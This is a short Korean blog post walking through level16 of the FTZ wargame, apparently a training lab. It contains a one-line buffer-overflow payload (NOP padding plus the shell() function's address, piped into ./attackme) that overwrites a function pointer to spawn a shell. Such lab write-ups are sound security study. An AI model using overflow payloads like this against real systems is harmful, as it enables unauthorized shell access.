정보보안/FTZ

[FTZ]level16

b1ackhand 2022. 7. 25. 21:59

코드는 다음과 같다. 

함수 포인터가 printit 함수를 호출하는데

이를 shell이 호출하게 하면 쉘을 얻을 수 있다.

gdb로 분석을 해봤을때 

printit의 주소가 80496e8인 것같다.

아마 shell()함수도 주변에 있을듯 하여

이를 찾아보았다.

다음과 같이 검색하여 shell의 위치도 찾을 수 있었다.

 

(python -c 'print "\x90"*40+"\xd0\x84\x04\x08"'; cat) | ./attackme

이전과 같은 방식으로 shell()함수의 위치를 덮어 씌워줬다.

'정보보안 > FTZ' 카테고리의 다른 글

[FTZ]level18  (0) 2022.07.31
[FTZ]level17  (0) 2022.07.25
[FTZ]level15  (0) 2022.07.25
[FTZ]level14  (0) 2022.07.23
[FTZ]level13  (0) 2022.07.22